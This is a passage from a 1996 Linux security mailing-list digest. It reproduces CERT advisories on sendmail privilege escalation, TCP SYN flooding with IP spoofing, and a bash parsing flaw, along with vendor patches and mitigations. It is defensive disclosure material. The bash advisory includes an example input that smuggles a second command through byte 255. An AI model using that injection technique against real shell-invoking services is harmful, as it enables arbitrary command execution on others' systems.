sendmail 8.8: The vulnerabilities described in this advisory have been fixed in the beta version. We will update this advisory as we receive additional information. Please check advisory files regularly for updates that relate to your site. In addition, you can check ftp://info.cert.org/pub/latest_sw_versions/sendmail to identify the most current version of sendmail. - - ----------------------------------------------------------------------------- I. Description There are two vulnerabilities in all versions of sendmail up to and including sendmail 8.7.5. The first vulnerability is a resource starvation problem and the second is a buffer overflow problem. Resource Starvation ------------------- When email is forwarded to a program using a .forward file or an :include: statement within a .forward or alias file, that program is executed as the owner of the .forward file or the file referenced by the :include: statement. Similarly, if email is forwarded to a file, that file is opened as the owner of the .forward file or the file referenced by the :include: statement. The file owner is called the "controlling user." If the message cannot be delivered immediately, the name of the controlling user is written into the queue file along with the other delivery information so that the appropriate permissions can be acquired when the mail queue is processed. Only the name of the controlling user is written in the queue file. This name is derived by calling the system routine getpwuid(3) on the user id of the file owner. If getpwuid fails, the sendmail default user (defined by the DefaultUser option in 8.7 and by the "u" and "g" options in older releases) is assumed. In some cases, the system can be forced into resource starvation, thus forcing getpwuid(3) to fail even though an entry exists in /etc/passwd corresponding to that uid. Since getpwuid has no way of portably returning an error meaning "resource failure" as distinct from "user id not found," sendmail has no way of distinguishing between these cases; it assumes that the uid is unknown and falls back to the default user. By starving sendmail of specific resources, sendmail will create files owned by the default user. Once created, these files can be used to access other files owned by the default user. In addition, these files owned by the default user can be used to leverage access to other privileged users on the system. Buffer Overflows ---------------- There are several buffer overflows present in sendmail version 8.7.5 and earlier. Some of the buffer overflows could result in local users gaining unauthorized root access. Significant work has been done on sendmail version 8.8 (now in beta test) to eliminate the problem, and the code changes originally planned for 8.8 have been backported to 8.7.6 to address these vulnerabilities. II. Impact Resource Starvation ------------------- Anyone with access to an account on the system can run programs or write files as the default user. The danger of compromising the default user depends primarily on the other files in your system owned by that user. For example, on many systems the line printer spool directory (e.g., /var/spool/lpd) is owned by daemon; because the line printer subsystem runs setuid root, it may be possible to gain additional privileges. However, some other systems have no files owned by user daemon on the default system, and the only files owned by group daemon are not writable by that group; hence, the danger is minimal. Buffer Overflows ---------------- Anyone with access to an account on the system can gain root access. III. Solution Install a patch from your vendor if one is available (Sec. A) or upgrade to the current version of sendmail (Sec. B). Until you can take one of those actions, we recommend applying the workaround described in Sec. C. This workaround addresses the resource starvation problem but not buffer overflows. In all cases, you should take the precautions listed in Sec. D. Note to beta testers of sendmail 8.8: The vulnerabilities described in this advisory have been fixed in the beta version of 8.8. A. Install a vendor patch. Below is a list of the vendors who have provided information about sendmail. Details are in Appendix A of this advisory; we will update the appendix as we receive more information. If your vendor's name is not on this list, please contact the vendor directly. Digital Equipment Corporation Hewlett-Packard Company IBM Corporation Linux Open Software Foundation The Santa Cruz Operation Silicon Graphics Inc. Sun Microsystems, Inc. B. Upgrade to the current version of sendmail. Install sendmail 8.7.6. This version is a "drop in" replacement for 8.7.x. There is no patch for 8.6.x. If you are using version 8.6 or earlier, you need to upgrade to the current version and rebuild your sendmail.cf files. Upgrading to version 8.7.6 addresses both vulnerabilities described in this advisory. Sendmail 8.7.6 is available from ftp://ftp.sendmail.org/ucb/src/sendmail/sendmail.8.7.6.tar.gz ftp://info.cert.org/pub/tools/sendmail/sendmail.8.7.6.tar.gz ftp://ftp.cert.dfn.de/pub/tools/net/sendmail/sendmail.8.7.6.tar.gz MD5 (sendmail.8.7.6.tar.gz) = 4a1f2179c53c9106bc8d7738f4d55667 Also in that directory are .Z and .sig files. The .Z file contains the same bits as the .gz file, but is compressed using UNIX compress instead of gzip. The .sig is Eric Allman's PGP signature for the uncompressed tar file. The key fingerprint is Type bits/keyID Date User ID pub 1024/BF7BA421 1995/02/23 Eric P. Allman Key fingerprint = C0 28 E6 7B 13 5B 29 02 6F 7E 43 3A 48 4F 45 29 Eric P. Allman Eric P. Allman Eric P. Allman Eric P. Allman We strongly recommend that when you change to a new version of sendmail you also change to the configuration files that are provided with that version. Significant work has been done to make this task easier. It is now possible to build a sendmail configuration file (sendmail.cf) using the configuration files provided with the sendmail release. Consult the cf/README file for a more complete explanation. Creating your configuration files using this method makes it easier to incorporate future changes to sendmail into your configuration files. Finally, for Sun users, a paper is available to help you convert your sendmail configuration files from the Sun version of sendmail to one that works with sendmail version 8.7.x. The paper is entitled "Converting Standard Sun Config Files to Sendmail Version 8" and was written by Rick McCarty of Texas Instruments Inc. It is included in the distribution and is located in contrib/converting.sun.configs. C. Apply a workaround. Resource Starvation ------------------- Eric Allman, the author of sendmail, has provided the following workaround to the resource starvation vulnerability. Using smrsh as "prog" mailer limits the programs that can be run as the default user. Smrsh does not limit the files that can be written, but less damage can be done by writing files directly. The damage can be almost entirely constrained by ensuring that the default user is an innocuous one. Sendmail defaults to 1:1 (daemon) only because that is reasonably portable. A special "mailnull" account that is used only for this purpose would be better. This user should own no files and should have neither a real home directory nor a real shell. A sample password entry might be: mailnull:*:32765:32765:Sendmail Default User:/no/such/dir:/dev/null A corresponding entry should be made in /etc/group: mailnull:*:32765: These assume that there are no other users or groups with id = 32765 on your system; if there are, pick some other unique value. After creating this user, change the line in /etc/sendmail.cf reading O DefaultUser=1:1 to read O DefaultUser=mailnull If you are running 8.6.*, you will have to change the lines reading Ou1 Og1 to read Ou32765 Og32765 Finally, if you are using the m4(1)-based sendmail configuration scheme provided with sendmail 8.7.*, you should add the following line to the m4 input file, usually named sendmail.mc: define(`confDEF_USER_ID', 32765:32765) The actual values should, of course, match those in the passwd file. Buffer Overflows ---------------- There is no workaround for the buffer overflow problem. To address this problem, you must apply your vendor's patches or upgrade to the current version of sendmail (version 8.7.6). D. Take additional precautions. Regardless of which solution you apply, you should take these extra precautions to protect your systems. * Use the sendmail restricted shell program (smrsh) With *all* versions of sendmail, use the sendmail restricted shell program (smrsh). You should do this whether you use vendor-supplied sendmail or install sendmail yourself. Using smrsh gives you improved administrative control over the programs sendmail executes on behalf of users. A number of sites have reported some confusion about the need to continue using the sendmail restricted shell program (smrsh) when they install a vendor patch or upgrade to a new version of sendmail. You should always use the smrsh program. smrsh is included in the sendmail distribution in the subdirectory smrsh. See the RELEASE_NOTES file for a description of how to integrate smrsh into your sendmail configuration file. smrsh is also distributed with some operating systems. * Use mail.local If you run /bin/mail based on BSD 4.3 UNIX, replace /bin/mail with mail.local, which is included in the sendmail distribution. It is also included with some other operating systems distributions, such as FreeBSD. Although the current version of mail.local is not a perfect solution, it is important to use it because it addresses vulnerabilities that are being exploited. For more details, see CERT advisory CA-95:02. Note that as of Solaris 2.5 and beyond, mail.local is included with the standard distribution. To use mail.local, replace all references to /bin/mail with /usr/lib/mail.local. If you are using the M4(1)-based configuration scheme provided with sendmail 8.X, add the following to your configuration file: define(`LOCAL_MAILER_PATH', /usr/lib/mail.local) * WARNING: Check for executable copies of old versions of mail programs If you leave executable copies of older versions of sendmail installed in /usr/lib (on some systems, it may be installed elsewhere), the vulnerabilities in those versions could be exploited if an intruder gains access to your system. This applies to sendmail.mx as well as other sendmail programs. Either delete these versions or change the protections on them to be non-executable. Similarly, if you replace /bin/mail with mail.local, remember to remove old copies of /bin/mail or make them non-executable. ........................................................................... Appendix A - Vendor Information Below is a list of the vendors who have provided information for this advisory. We will update this appendix as we receive additional information. If you do not see your vendor's name, please contact the vendor directly. Digital Equipment Corporation ============================= [About the resource starvation problem] Source: Software Security Response Team Copyright (c) Digital Equipment Corporation 1996. All rights reserved. 08.SEP.1996 At the time of writing this document, patches (binary kits) for Digital's UNIX related operating systems are being developed. Digital will provide notice of availability for remedial kits through AES services (DIA, DSNlink FLASH), placed in the public FTP patch service domain and also be available from your normal Digital Support channel. ftp://ftp.service.digital.com/public/{OS/{vn.n} | | | |--version |--osf or ultrix 9/96 - DIGITAL EQUIPMENT CORPORATION Hewlett-Packard Company ======================= [About the resource starvation problem] HP-UX is vulnerable, and a patch is in progress. The HP SupportLine Mail Service provides notification of security patches for HP-UX to its 'security_info' mailing list. For information on the service, send mail to [email protected] with 'help' in the body of the message (without quotes). To report new security defects in HP software, send mail to [email protected]. IBM Corporation ================ The following APARs are being developed and will be available shortly. See the appropriate release below to determine your action. AIX 3.2 ------- Apply the following fixes to your system: APAR - IX61303 IX61307 AIX 4.1 ------- Apply the following fixes to your system: APAR - IX61162 IX61306 To determine if you have this APAR on your system, run the following command: instfix -ik IX61162 IX61306 AIX 4.2 ------- Apply the following fixes to your system: APAR - IX61304 IX61305 To determine if you have this APAR on your system, run the following command: instfix -ik IX61304 IX61305 To Order -------- APARs may be ordered using Electronic Fix Distribution (via FixDist) or from the IBM Support Center. For more information on FixDist, http://service.software.ibm.com/aixsupport/ or send e-mail to [email protected] with a subject of "FixDist". IBM and AIX are registered trademarks of International Business Machines Corporation. Linux ===== [For the resource starvation problem:] Debian Linux: not vulnerable (uses smail) Red Hat and derivatives: ftp://ftp.redhat.com/pub/redhat-3.0.3/i386/updates/RPMS/sendmail* Open Software Foundation ======================== OSF's OSF/1 R1.3.2 is not vulnerable to these types of attacks described in the resource starvation sections of the advisory. OSF's OSF/1 R1.3.2 is vulnerable to the buffer overflow problems. We will address the problem in our next maintenance release. The Santa Cruz Operation ======================== Any SCO operating system running a version of sendmail provided by SCO is vulnerable to this problem. SCO is providing Support Level Supplement (SLS) oss443a for the following releases to address this issue: SCO Internet FastStart release 1.0.0 SCO OpenServer releases 5.0.0 and 5.0.2 This SLS provides a pre-release version of sendmail release 8.7.6 for these platforms. SCO hopes to have a final version of sendmail 8.7.6 available to address both issues mentioned in this advisory in the near future. Note that only SCO Internet FastStart uses sendmail as the default mail system. All other SCO operating systems use other mail systems such as the Multi-Channel Memorandum Distribution Facility (MMDF) or the "mailsurr" mail system as the default, and as such are not vulnerable to this problem unless otherwise configured to use sendmail. SCO intends to provide a similar patch for SCO UnixWare release 2.1.0 in the near future. When configured to use a version of sendmail provided by SCO, releases prior to the ones mentioned here are also vulnerable, but no plans have yet been made concerning patches for these earlier releases. You can download SLS oss443a as shown below. Anonymous ftp (World Wide Web URL) ------------- ftp://ftp.sco.COM/SSE/oss443a (SLS image) ftp://ftp.sco.COM/SSE/oss443a.ltr.sse (cover letter/install notes) Compuserve ---------- SLS oss443a is also available in the SCO Forum on Compuserve. SCO Online Support (SOS) BBS ---------------------------- SLS oss443a can also be downloaded interactively via X, Y, or Z MODEM or Kermit, using the SCO Online Support System (SOS). Follow the menu selections under "Toolchest" from the main SOS menu. The phone numbers available for interactive transfer from SOS are: 1-408-426-9495 (USA) +44 (0)1923 210 888 (United Kingdom) Checksums --------- sum -r ------ 13804 630 oss443a 35304 14 oss443a.ltr.sse MD5 --- MD5 (oss443a) = 549260a71ca76f4e98dd38bccb72748c MD5 (oss443a.ltr.sse) = 7475d83f0db64a1af69eb66cd392a9d3 Be sure to keep track of the README file at ftp://ftp.sco.COM/SSE/README for updates to this supplement. If you have further questions, contact your support provider. If you need to contact SCO, please send electronic mail to [email protected], or contact SCO as follows. USA/Canada: 6am-5pm Pacific Daylight Time (PDT) ----------- 1-800-347-4381 (voice) 1-408-427-5443 (fax) Pacific Rim, Asia, and Latin American customers: 6am-5pm Pacific ------------------------------------------------ Daylight Time (PDT) 1-408-425-4726 (voice) 1-408-427-5443 (fax) Europe, Middle East, Africa: 9am-5:30pm Greenwich Mean Time (GMT) ---------------------------- +44 (0)1923 816344 (voice) +44 (0)1923 817781 (fax) Silicon Graphics, Inc. ====================== We are analyzing the vulnerability, and will provide additional information as it becomes available. Sun Microsystems, Inc. ====================== Sun is working on a patch which will fix both problems, and we expect to have it out by the end of the month. Also, we will send out a Sun bulletin on this subject at about the same time. - - ------------------------------------------------------------------------------ The CERT Coordination Center staff thanks Eric Allman, the author of sendmail, for his extensive assistance with this advisory, Wolfgang Ley of DFN-CERT for his support in the development of the advisory, and D. J. Bernstein of the University of Illinois at Chicago for reporting the resource starvation vulnerability. - - ----------------------------------------------------------------------------- If you believe that your system has been compromised, contact the CERT Coordination Center or your representative in the Forum of Incident Response and Security Teams (see ftp://info.cert.org/pub/FIRST/first-contacts). CERT/CC Contact Information - - ---------------------------- Email [email protected] Phone +1 412-268-7090 (24-hour hotline) CERT personnel answer 8:30-5:00 p.m. EST(GMT-5) / EDT(GMT-4) and are on call for emergencies during other hours. Fax +1 412-268-6989 Postal address CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 USA Using encryption We strongly urge you to encrypt sensitive information sent by email. We can support a shared DES key or PGP. Contact the CERT/CC for more information. You can get the CERT PGP key from ftp://info.cert.org/pub/CERT_PGP.key Location of CERT PGP key ftp://info.cert.org/pub/CERT_PGP.key Getting security information CERT publications and other security information are available from http://www.cert.org/ ftp://info.cert.org/pub/ CERT advisories and bulletins are also posted on the USENET newsgroup comp.security.announce To be added to our mailing list for advisories and bulletins, send your email address to [email protected] - - --------------------------------------------------------------------------- Copyright 1996 Carnegie Mellon University This material may be reproduced and distributed without permission provided it is used for noncommercial purposes and the copyright statement is included. CERT is a service mark of Carnegie Mellon University. - - --------------------------------------------------------------------------- This file: ftp://info.cert.org/pub/cert_advisories/CA-96.20.sendmail_vul http://www.cert.org click on "CERT Advisories" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Revision history - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMj/++HVP+x0t4w7BAQEoBQP/THORrwVlVF6WbC1zJ3V7fMLC3XSXoG7E WPbIxciOj1xwA14gvVGXyPMtnH6AmgD7PyzQyifzwu/MrecU3UHfgdjVlpJbRjFJ XplELdcjt39wKGz9TlurK/iE31PN/gOlcBBukyLjIuq9NHJEi9vN7M0nTp3KmW/b H66I2ElnY7w= =tQ1H - -----END PGP SIGNATURE----- ------------------------------ End of linux-alert-digest V2 #15 ******************************** linux-alert-digest/v02.n016100664 1767 1767 35634 6223153600 14707 0ustar majdommajdomFrom: owner-linux-alert-digest To: [email protected] Subject: linux-alert-digest V2 #16 Reply-To: linux-security Errors-To: owner-linux-alert-digest Precedence: bulk linux-alert-digest Saturday, 28 September 1996 Volume 02 : Number 016 [linux-alert] CERT Advisory CA-96.21 - TCP SYN Flooding and IP Spoofing Attacks ---------------------------------------------------------------------- From: CERT Advisory Date: Thu, 19 Sep 1996 16:36:42 -0400 Subject: [linux-alert] CERT Advisory CA-96.21 - TCP SYN Flooding and IP Spoofing Attacks - -----BEGIN PGP SIGNED MESSAGE----- ============================================================================= CERT(sm) Advisory CA-96.21 Original issue date: September 19, 1996 Last revised: -- Topic: TCP SYN Flooding and IP Spoofing Attacks - - ----------------------------------------------------------------------------- *** This advisory supersedes CA-95:01. *** Two "underground magazines" have recently published code to conduct denial-of-service attacks by creating TCP "half-open" connections. This code is actively being used to attack sites connected to the Internet. There is, as yet, no complete solution for this problem, but there are steps that can be taken to lessen its impact. Although discovering the origin of the attack is difficult, it is possible to do; we have received reports of attack origins being identified. Any system connected to the Internet and providing TCP-based network services (such as a Web server, FTP server, or mail server) is potentially subject to this attack. The consequences of the attack may vary depending on the system; however, the attack itself is fundamental to the TCP protocol used by all systems. If you are an Internet service provider, please pay particular attention to Section III and Appendix A, which describes step we urge you to take to lessen the effects of these attacks. If you are the customer of an Internet service provider, please encourage your provider to take these steps. This advisory provides a brief outline of the problem and a partial solution. We will update this advisory as we receive new information. If the change in information warrants, we may post an updated advisory on comp.security.announce and redistribute an update to our cert-advisory mailing list. As always, the latest information is available at the URLs listed at the end of this advisory. - - ----------------------------------------------------------------------------- I. Description When a system (called the client) attempts to establish a TCP connection to a system providing a service (the server), the client and server exchange a set sequence of messages. This connection technique applies to all TCP connections--telnet, Web, email, etc. The client system begins by sending a SYN message to the server. The server then acknowledges the SYN message by sending SYN-ACK message to the client. The client then finishes establishing the connection by responding with an ACK message. The connection between the client and the server is then open, and the service-specific data can be exchanged between the client and the server. Here is a view of this message flow: Client Server ------ ------ SYN--------------------> <--------------------SYN-ACK ACK--------------------> Client and server can now send service-specific data The potential for abuse arises at the point where the server system has sent an acknowledgment (SYN-ACK) back to client but has not yet received the ACK message. This is what we mean by half-open connection. The server has built in its system memory a data structure describing all pending connections. This data structure is of finite size, and it can be made to overflow by intentionally creating too many partially-open connections. Creating half-open connections is easily accomplished with IP spoofing. The attacking system sends SYN messages to the victim server system; these appear to be legitimate but in fact reference a client system that is unable to respond to the SYN-ACK messages. This means that the final ACK message will never be sent to the victim server system. The half-open connections data structure on the victim server system will eventually fill; then the system will be unable to accept any new incoming connections until the table is emptied out. Normally there is a timeout associated with a pending connection, so the half-open connections will eventually expire and the victim server system will recover. However, the attacking system can simply continue sending IP-spoofed packets requesting new connections faster than the victim system can expire the pending connections. In most cases, the victim of such an attack will have difficulty in accepting any new incoming network connection. In these cases, the attack does not affect existing incoming connections nor the ability to originate outgoing network connections. However, in some cases, the system may exhaust memory, crash, or be rendered otherwise inoperative. The location of the attacking system is obscured because the source addresses in the SYN packets are often implausible. When the packet arrives at the victim server system, there is no way to determine its true source. Since the network forwards packets based on destination address, the only way to validate the source of a packet is to use input source filtering (see Appendix A). II. Impact Systems providing TCP-based services to the Internet community may be unable to provide those services while under attack and for some time after the attack ceases. The service itself is not harmed by the attack; usually only the ability to provide the service is impaired. In some cases, the system may exhaust memory, crash, or be rendered otherwise inoperative. III. Solution There is, as yet, no generally accepted solution to this problem with the current IP protocol technology. However, proper router configuration can reduce the likelihood that your site will be the source of one of these attacks. Appendix A contains details about how to filter packets to reduce the number of IP-spoofed packets entering and exiting your network. It also contains a list of vendors that have reported support for this type of filtering. NOTE to Internet Service Providers: We STRONGLY urge you to install these filters in your routers to protect your customers against this type of an attack. Although these filters do not directly protect your customers from attack, the filters do prevent attacks from originating at the sites of any of your customers. We are aware of the ramifications of these filters on some current Mobile IP schemes and are seeking a position statement from the appropriate organizations. NOTE to customers of Internet service providers: We STRONGLY recommend that you contact your service provider to verify that the necessary filters are in place to protect your network. Many networking experts are working together to devise improvements to existing IP implementations to "harden" kernels to this type of attack. When these improvements become available, we suggest that you install them on all your systems as soon as possible. This advisory will be updated to reflect changes made by the vendor community. IV. Detecting an Attack Users of the attacked server system may notice nothing unusual since the IP-spoofed connection requests may not load the system noticeably. The system is still able to establish outgoing connections. The problem will most likely be noticed by client systems attempting to access one of the services on the victim system. To verify that this attack is occurring, check the state of the server system's network traffic. For example, on SunOS this may be done by the command: netstat -a -f inet Too many connections in the state "SYN_RECEIVED" indicates that the system is being attacked. ........................................................................... Appendix A - Reducing IP Spoofed Packets 1. Filtering Information - - ------------------------- With the current IP protocol technology, it is impossible to eliminate IP-spoofed packets. However, you can take steps to reduce the number of IP-spoofed packets entering and exiting your network. Currently, the best method is to install a filtering router that restricts the input to your external interface (known as an input filter) by not allowing a packet through if it has a source address from your internal network. In addition, you should filter outgoing packets that have a source address different from your internal network to prevent a source IP spoofing attack from originating from your site. The combination of these two filters would prevent outside attackers from sending you packets pretending to be from your internal network. It would also prevent packets originating within your network from pretending to be from outside your network. These filters will *not* stop all TCP SYN attacks, since outside attackers can spoof packets from *any* outside network, and internal attackers can still send attacks spoofing internal addresses. We STRONGLY urge Internet service providers to install these filters in your routers. In addition, we STRONGLY recommend customers of Internet service providers to contact your service provider to verify that the necessary filters are in place to protect your network. 2. Vendor Information - - ---------------------- The following vendor(s) have reported support for the type of filtering we recommend and provided pointers to additional information that describes how to configure your router. If you need more information about your router or about firewalls, please contact your vendor directly. Cisco ----- Refer to the section entitiled "ISP Security Advisory" on http://www.cisco.com for an up-to-date explanation of how to address TCP SYN flooding on a Cisco router. NOTE to vendors: If you are a router vendor who has information on router capabilities and configuration examples and you are not represented in this list, please contact the CERT Coordination Center at the addresses given in the Contact Information section below. We will update the advisory after we hear from you. 3. Alternative for routers that do not support filtering on the inbound side - - ---------------------------------------------------------------------------- If your vendor's router does not support filtering on the inbound side of the interface or if there will be a delay in incorporating the feature into your system, you may filter the spoofed IP packets by using a second router between your external interface and your outside connection. Configure this router to block, on the outgoing interface connected to your original router, all packets that have a source address in your internal network. For this purpose, you can use a filtering router or a UNIX system with two interfaces that supports packet filtering. Note: Disabling source routing at the router does not protect you from this attack, but it is still good security practice to follow. On the input to your external interface, that is coming from the Internet to your network, you should block packets with the following addresses: * Broadcast Networks: The addresses to block here are network 0 (the all zeros broadcast address) and network 255.255.255.255 (the all ones broadcast network). * Your local network(s): These are your network addresses * Reserved private networks: The following networks are defined as reserved private networks and no traffic should ever be received from or transmitted to these networks through a router: 10.0.0.0 127.0.0.0 172.16.0.0 192.168.0.0 - - ----------------------------------------------------------------------------- The CERT Coordination Center staff thanks the team members of NASIRC for contributing much of the text for this advisory and thanks the many experts who are devoting time to addressing the problem and who provided input to this advisory. - - ----------------------------------------------------------------------------- If you believe that your system has been compromised, contact the CERT Coordination Center or your representative in the Forum of Incident Response and Security Teams (see ftp://info.cert.org/pub/FIRST/first-contacts). CERT/CC Contact Information - - ---------------------------- Email [email protected] Phone +1 412-268-7090 (24-hour hotline) CERT personnel answer 8:30-5:00 p.m. EST(GMT-5) / EDT(GMT-4) and are on call for emergencies during other hours. Fax +1 412-268-6989 Postal address CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 USA Using encryption We strongly urge you to encrypt sensitive information sent by email. We can support a shared DES key or PGP. Contact the CERT/CC for more information. Location of CERT PGP key ftp://info.cert.org/pub/CERT_PGP.key Getting security information CERT publications and other security information are available from http://www.cert.org/ ftp://info.cert.org/pub/ CERT advisories and bulletins are also posted on the USENET newsgroup comp.security.announce To be added to our mailing list for advisories and bulletins, send your email address to [email protected] - - --------------------------------------------------------------------------- Copyright 1996 Carnegie Mellon University This material may be reproduced and distributed without permission provided it is used for noncommercial purposes and the copyright statement is included. CERT is a service mark of Carnegie Mellon University. - - --------------------------------------------------------------------------- This file: ftp://info.cert.org/pub/cert_advisories/CA-96.21.tcp_syn_flooding http://www.cert.org click on "CERT Advisories" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Revision history - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMkGmUnVP+x0t4w7BAQHPcgP9Fxarwmbfq9rQtj3+CktCU3HtYtX4wgSQ RW+hl6Z9lig61ha+bgEyEUqj/1ishwlJopgJ7LOMjgfzjGZt/25/+XmHCrOcUSNx +eoqAcg59eisXtWXFgOLgfcadcH/9dDRHn3WUcXYrAFFpXPREBS66P2Tbo8MlmzX l0LbKYde7uc= =iZ8P - -----END PGP SIGNATURE----- ------------------------------ End of linux-alert-digest V2 #16 ******************************** linux-alert-digest/v02.n017100664 1767 1767 25007 6231362000 14674 0ustar majdommajdomFrom: owner-linux-alert-digest To: [email protected] Subject: linux-alert-digest V2 #17 Reply-To: linux-security Errors-To: owner-linux-alert-digest Precedence: bulk linux-alert-digest Thursday, 17 October 1996 Volume 02 : Number 017 [linux-alert] CERT Advisory CA-96.22 - Vulnerabilities in bash ---------------------------------------------------------------------- From: CERT Advisory Date: Tue, 8 Oct 1996 10:30:28 -0400 Subject: [linux-alert] CERT Advisory CA-96.22 - Vulnerabilities in bash This is now rather old news, but I tend to pass on all CERT advisories that are related to or affect Linux anyway, primarily for those that might have missed the news previously. - -----BEGIN PGP SIGNED MESSAGE----- ============================================================================= CERT(sm) Advisory CA-96.22 Original issue date: October 8, 1996 Last revised: -- Topic: Vulnerabilities in bash - - ------------------------------------------------------------------------------ The original technical content for this advisory was published by the IBM-ERS response team and is used here with their permission. This advisory describes two problems with the GNU Project's Bourne Again SHell (bash): one in yy_string_get() and one in yy_readline_get(). The vulnerability in yy_string_get() allows the character with value 255 decimal to be used as a command separator. When used in environments where users provide strings to be used as commands or arguments to commands, bash can be tricked into executing arbitrary commands. It is not clear whether the problem with yy_readline_get() results in an exploitable vulnerability, though you may want to address both problems for completeness. The problems affect bash versions 1.14.6 and earlier. The CERT/CC team recommends that you upgrade to bash 1.14.7 as soon as possible, as discussed in Section III.A below. Section III.B contains a patch for 1.14.7, which we recommend using to address the yy_readline_get() problem. We will update this advisory as we receive additional information. Please check advisory files regularly for updates that relate to your site. - - ---------------------------------------------------------------------------- I. Description A. Introduction The GNU Project's Bourne Again SHell (bash) is a drop-in replacement for the UNIX Bourne shell (/bin/sh). It offers the same syntax as the standard shell, and it also includes additional functionality such as job control, command line editing, and history. Although bash can be compiled and installed on almost any UNIX platform, its most prevalent use is on "free" versions of UNIX such as Linux, where it has been installed as "/bin/sh" (the default shell for most uses). The bash source code is freely available from many sites on the Internet. B. Vulnerability Details 1. Vulnerability in yy_string_get() There is a variable declaration error in the "yy_string_get()" function in the "parse.y" module of the "bash" source code. This function is responsible for parsing the user-provided command line into separate tokens (commands, special characters, arguments, etc.). The error involves the variable "string", which has been declared to be of type "char *". The "string" variable is used to traverse the character string containing the command line to be parsed. As characters are retrieved from this pointer, they are stored in a variable of type "int". On systems/compilers where the "char" type defaults to "signed char" this value will be sign-extended when it is assigned to the "int" variable. For character code 255 decimal (-1 in two's complement form), this sign extension results in the value (-1) being assigned to the integer. However, (-1) is used in other parts of the parser to indicate the end of a command. Thus, the character code 255 decimal (377 octal) will serve as an unintended command separator for commands given to bash via the "-c" option. For example, bash -c 'ls\377who' (where "\377" represents the single character with value 255 decimal) will execute two commands, "ls" and "who". 2. Possible vulnerability in yy_readline_get() A similar problem exists with the "yy_readline_get()" function, which is also in the file "parse.y" and which is used to read commands in interactive shells (ones that print a prompt and read from the keyboard, a shell script, or a pipe). It is not clear that this problem produces any exploitable vulnerabilities in the bash program; however, you may wish to address the problem for the sake of completeness. II. Impact This unexpected command separator can be dangerous, especially on systems such as Linux where bash has been installed as "/bin/sh," when a program executes a command with a string provided by a user as an argument using the "system()" or "popen()" functions (or by calling "/bin/sh -c string" directly). This is especially true for the CGI programming interface in World Wide Web servers, many of which do not strip out characters with value 255 decimal. If a user sending data to the server can specify the character code 255 in a string that is passed to a shell, and that shell is bash, the user can execute any arbitrary command with the user-id and permissions of the user running the server (frequently "root"). The bash built-in commands "eval," "source," and "fc" are also potentially vulnerable to this problem. III. Solution A. Vulnerability in yy_string_get On 27 August 1996, Version 1.14.7 of bash was released. You can obtain this new version from: ftp://slc2.ins.cwru.edu/pub/dist/bash-1.14.7.tar.gz B. Vulnerability in yy_readline_get It is not clear that this problem produces any exploitable vulnerabilities in the "bash" program; however, you may wish to address the problem for the sake of completeness. This problem can be alleviated by applying the patch below to the bash source code, then recompiling the program, and installing the new version. The patch below is for Version 1.14.7 of bash. Source code for this version can be obtained from the site listed above. - - ---------------------------------- cut here --------------------------------- *** parse.y.old Mon Aug 26 11:15:55 1996 - - - - - --- parse.y Wed Aug 28 08:49:15 1996 *************** *** 801,807 **** #if defined (READLINE) char *current_readline_prompt = (char *)NULL; ! char *current_readline_line = (char *)NULL; int current_readline_line_index = 0; static int - - - - - --- 801,807 ---- #if defined (READLINE) char *current_readline_prompt = (char *)NULL; ! unsigned char *current_readline_line = (unsigned char *)NULL; int current_readline_line_index = 0; static int - - --------------------------------- cut here ---------------------------------- To apply this patch, save the text between the two "--- cut here ---" lines to a file, change directories to the bash source directory, and issue the command patch < filename If you do not have the patch program, you can obtain it from ftp://prep.ai.mit.edu/pub/gnu/patch-2.1.tar.gz or you can apply the patch by hand. After applying the patch, recompile and reinstall the bash program by following the directions in the "INSTALL" file, included as part of the bash distribution. - - ---------------------------------------------------------------------------- The CERT Coordination Center thanks IBM-ERS for permission to reproduce the technical content in their IBM Emergency Response Service Security Vulnerability Alerts ERS-SVA-E01-1006:004.1 and ERS-SVA-E01-1006:004.2. These alerts are copyrighted 1996 International Business Machines Corporation. - - ---------------------------------------------------------------------------- If you believe that your system has been compromised, contact the CERT Coordination Center or your representative in the Forum of Incident Response and Security Teams (see ftp://info.cert.org/pub/FIRST/first-contacts). CERT/CC Contact Information - - --------------------------- Email [email protected] Phone +1 412-268-7090 (24-hour hotline) CERT personnel answer 8:30-5:00 p.m. EST(GMT-5) / EDT(GMT-4) and are on call for emergencies during other hours. Fax +1 412-268-6989 Postal address CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 USA Using encryption We strongly urge you to encrypt sensitive information sent by email. We can support a shared DES key or PGP. Contact the CERT/CC for more information. Location of CERT PGP key ftp://info.cert.org/pub/CERT_PGP.key Getting security information CERT publications and other security information are available from http://www.cert.org/ ftp://info.cert.org/pub/ CERT advisories and bulletins are also posted on the USENET newsgroup comp.security.announce To be added to our mailing list for advisories and bulletins, send your email address to [email protected] - - ----------------------------------------------------------------------------- Copyright 1996 Carnegie Mellon University This material may be reproduced and distributed without permission provided it is used for noncommercial purposes and the copyright statement is included. CERT is a service mark of Carnegie Mellon University. - - ----------------------------------------------------------------------------- This file: ftp://info.cert.org/pub/cert_advisories/CA-96.22.bash_vuls http://www.cert.org click on "CERT Advisories" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Revision history - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMlpe6nVP+x0t4w7BAQGXjQP7BkkMX06QR3nQEV2FV6Qo4p0bVSU88Kef a9kjcXhJyUM1gE0QnLNo8dbL5PAUvatlRDowZv71l+UTh0BZum8apq+dpOhe+WF+ ko95vQEqKbfSkY7FiTrOY/gKJZWMV31ddlwCldl68OKbuRqQg6hfgWSQX264jWb3 m+nIj5VkuK8= =Fodb - -----END PGP SIGNATURE----- ------------------------------ End of linux-alert-digest V2 #17 ******************************** linux-alert-digest/v02.n018100664 1767 1767 4206 6235342020 14657 0ustar majdommajdomFrom: owner-linux-alert-digest To: [email protected] Subject: linux-alert-digest V2 #18 Reply-To: linux-security Errors-To: 